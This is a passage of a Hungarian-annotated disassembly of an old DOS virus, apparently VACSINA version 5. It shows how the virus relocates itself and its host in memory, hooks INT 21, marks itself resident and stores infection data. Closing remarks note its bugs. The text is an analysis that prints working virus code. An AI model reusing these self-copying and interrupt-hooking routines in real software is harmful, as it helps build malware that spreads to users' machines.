03DC 8BFE MOV DI,SI ;Ugyanilyen offset<65> helyre m sol
|
||
03DE B9B604 MOV CX,04B6 ;Vˇrus hossza
|
||
03E1 FC CLD
|
||
03E2 F3 REPZ
|
||
03E3 A4 MOVSB
|
||
|
||
|
||
; A vez‚rl‚s tker<65>l a "m solat" vˇrusra
|
||
|
||
03E4 06 PUSH ES
|
||
03E5 E80300 CALL 03EB
|
||
03E8 EB13 JMP 03FD ;es:03FD-n folytat˘dik
|
||
03EA 90 NOP
|
||
03EB CB * RETF
|
||
|
||
|
||
; Az eredeti program futtat sa
|
||
|
||
03EC 8CC8 * MOV AX,CS
|
||
03EE 8ED8 MOV DS,AX ;Szegmensregiszterek be llˇt sa
|
||
03F0 8EC0 MOV ES,AX
|
||
03F2 8ED0 MOV SS,AX
|
||
03F4 2E CS:
|
||
03F5 8B47FB MOV AX,[BX-05] ;ERE_AX (039A)
|
||
03F8 2E CS:
|
||
03F9 FFA70101 JMP [BX+0101] ;ERE_2_3 (04A0) Hol kezd”d”tt az ered
|
||
eti program?
|
||
|
||
|
||
; Ide ker<65>l a vez‚rl‚s a m r lem solt vˇrusban (03E8-r˘l)
|
||
; Az eredeti programot, PSP-j‚t, mem.leˇr˘ blokkj t is h tr‚bb mozgatjuk
|
||
|
||
03FD BE0000 * MOV SI,0000 ;Megj.: felesleges
|
||
0400 BF0000 MOV DI,0000
|
||
0403 8BCB MOV CX,BX ;bx=039F
|
||
0405 81C161FC ADD CX,FC61 ;cx=0000 (eredeti program+PSP+mem.le
|
||
ˇr˘ blokk hossza)
|
||
0409 8CC2 MOV DX,ES
|
||
040B 4A DEC DX
|
||
040C 8EC2 MOV ES,DX ;szegmens--, mert a mem.leˇr˘ blokkot
|
||
is m soljuk
|
||
040E 8CDA MOV DX,DS
|
||
0410 4A DEC DX
|
||
0411 8EDA MOV DS,DX
|
||
0413 03F1 ADD SI,CX
|
||
0415 4E DEC SI ;Visszafel‚ m solunk az‚rt kell
|
||
0416 8BFE MOV DI,SI
|
||
0418 FD STD
|
||
0419 F3 REPZ
|
||
041A A4 MOVSB
|
||
041B FC CLD
|
||
|
||
|
||
; H tr‚bbmozgat s dokument l sa
|
||
|
||
041C 2E CS:
|
||
041D 8B9754FC MOV DX,[BX+FC54] ;MLB_HOSSZ=4C Virus ltal lefoglalt m
|
||
em˘riablokk hossza
|
||
0421 26 ES:
|
||
0422 29160300 SUB [0003],DX ;Az eredeti program mem.blokkj nak cs
|
||
”kkent‚se
|
||
0426 26 ES:
|
||
0427 8C0E0100 MOV [0001],CS ;Uj gazda
|
||
|
||
|
||
; Vˇrus visszam sol sa a szabadd tett helyre
|
||
|
||
042B BF0000 MOV DI,0000
|
||
042E 8BF3 MOV SI,BX ;bx=039F
|
||
0430 81C651FC ADD SI,FC51 ;FFF0 Vˇrus kezdete (mem.leˇr˘ blokk
|
||
al egy<67>tt)
|
||
0434 B9B604 MOV CX,04B6
|
||
0437 1E PUSH DS
|
||
0438 07 POP ES ;Vˇsszam solunk
|
||
0439 0E PUSH CS
|
||
043A 1F POP DS ;es=ds ; ds=cs
|
||
043B F3 REPZ
|
||
043C A4 MOVSB
|
||
|
||
|
||
; Egy‚b teend”k (az Łj PSP miatt)
|
||
|
||
043D 26 ES:
|
||
043E 832E030001 SUB WORD PTR [0003],+01 ;A mem.leˇr˘ blokk hossz t nem kell s
|
||
z molni!
|
||
0443 53 PUSH BX
|
||
0444 8CCB MOV BX,CS
|
||
0446 B450 MOV AH,50 ;SET_PSP (bx)
|
||
0448 CD21 INT 21
|
||
044A 5B POP BX
|
||
044B 2E CS:
|
||
044C 8C0E3600 MOV [0036],CS ;PSP-n bel<65>l a gazda mehat roz sa
|
||
0450 2E CS:
|
||
0451 8B162C00 MOV DX,[002C] ;Environment szegmense
|
||
0455 4A DEC DX
|
||
0456 8EC2 MOV ES,DX ;Environment mem.leˇr˘ blokkja
|
||
0458 26 ES:
|
||
0459 8C0E0100 MOV [0001],CS ;Uj gazda
|
||
|
||
|
||
; INT 21 lek‚rdez‚se ‚s tˇr sa
|
||
|
||
045D B82135 MOV AX,3521 ;GET_INT_VECT (es:bx)
|
||
0460 53 PUSH BX
|
||
0461 CD21 INT 21
|
||
0463 36 SS:
|
||
0464 8C060200 MOV [0002],ES ;ERE_INT21+2
|
||
0468 36 SS:
|
||
0469 891E0000 MOV [0000],BX ;ERE_INT21
|
||
046D 5B POP BX
|
||
046E B82125 MOV AX,2521 ;SET_INT_VECT (ds:dx)
|
||
0471 8CD2 MOV DX,SS
|
||
0473 8EDA MOV DS,DX
|
||
0475 BAC000 MOV DX,00C0 ;00C0-t˘l lesz az INT 21 rutin
|
||
0478 CD21 INT 21
|
||
|
||
|
||
; "A vˇrus m r a mem˘ri ban van" jelz‚s
|
||
|
||
047A B80000 MOV AX,0000
|
||
047D 8EC0 MOV ES,AX
|
||
047F 26 ES:
|
||
0480 C706C5007F39 MOV WORD PTR [00C5],397F;Azonosˇt˘ sz˘
|
||
0486 26 ES:
|
||
0487 C606C70005 MOV BYTE PTR [00C7],05 ;Vˇrus verzi˘sz ma
|
||
|
||
|
||
; DTA be llˇt sa (rosszul!)
|
||
|
||
048C 8CC8 MOV AX,CS
|
||
048E 8ED8 MOV DS,AX
|
||
0490 B41A MOV AH,1A ;SET_DTA_ADDRESS (ds:dx)
|
||
0492 BA5000 MOV DX,0050 ;HIBA !!! 0080 kellene
|
||
0495 CD21 INT 21
|
||
|
||
|
||
; Az eredeti program futtat s ra ugr s
|
||
|
||
0497 2E CS:
|
||
0498 8B47FB MOV AX,[BX-05] ;ERE_AX (039A) Megj.:Teljesen felesle
|
||
ges
|
||
049B E94EFF JMP 03EC
|
||
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; A file utols˘ 8 byteja tartalmazza a fontos inform ci˘kat
|
||
;---------------------------------------------------------------
|
||
|
||
049E ERE_HOSSZ DW ? ;A file eredeti hossza
|
||
04A0 ERE_2_3 DW ? ;A file eredeti 2.,3. byteja+0103
|
||
04A2 AZONOSITO DW 7AF4 ;Azonosˇt˘sz˘. Ez alapj n ismeri fel a fert”z‚
|
||
st
|
||
04A4 VERZIOSZAM DB 5 ;Vˇrus verzi˘sz ma
|
||
04A5 ERE_1 DB 0 ;M‚g nem haszn lt (az els” byte mindig E9)
|
||
|
||
|
||
Vˇrus elej‚nek hexa dump-ja:
|
||
|
||
cs-1:0000 4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00 M..K............
|
||
cs-1:0010 72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21 r...V. . ......!
|
||
cs-1:0020 B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20 ... .VACSINA
|
||
cs-1:0030 00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00 ........|.7..@..
|
||
cs-1:0040 46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20 F........
|
||
cs-1:0050 20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00 ...
|
||
|
||
|
||
Megjegyz‚sek:
|
||
|
||
- A file eredeti idej‚t nem k‚redezi le, ‚s nem llˇtja vissza.
|
||
- DTA-t rosszul llˇtja be. Ez a gyermekbetegs‚g a k‚s”bbi verzi˘kban is megmara
|
||
dt.
|
||
- <20>rdekes, hogy az EXE k˘dj t az 5A4D-t itt csak ˇgy haszn lja, mˇg a k‚s”bbi ve
|
||
rzi˘k a 4D5A-t
|
||
is haszn lj k.
|
||
- EXE-k COM-m alakˇt sa ut n nem tudom, hogy mi‚rt nem mindj rt a COM megfert”z
|
||
‚se r‚szre ugrik.
|
||
- J˘p r felesleges utasˇt s van a k˘dban, ami m‚g a k‚s”bbi verzi˘kban is megmar
|
||
adt.
|
||
- A vˇrus eg‚sz m<>k”d‚se arra utal, hogy csak kis‚rletez‚sr”l van sz˘.
|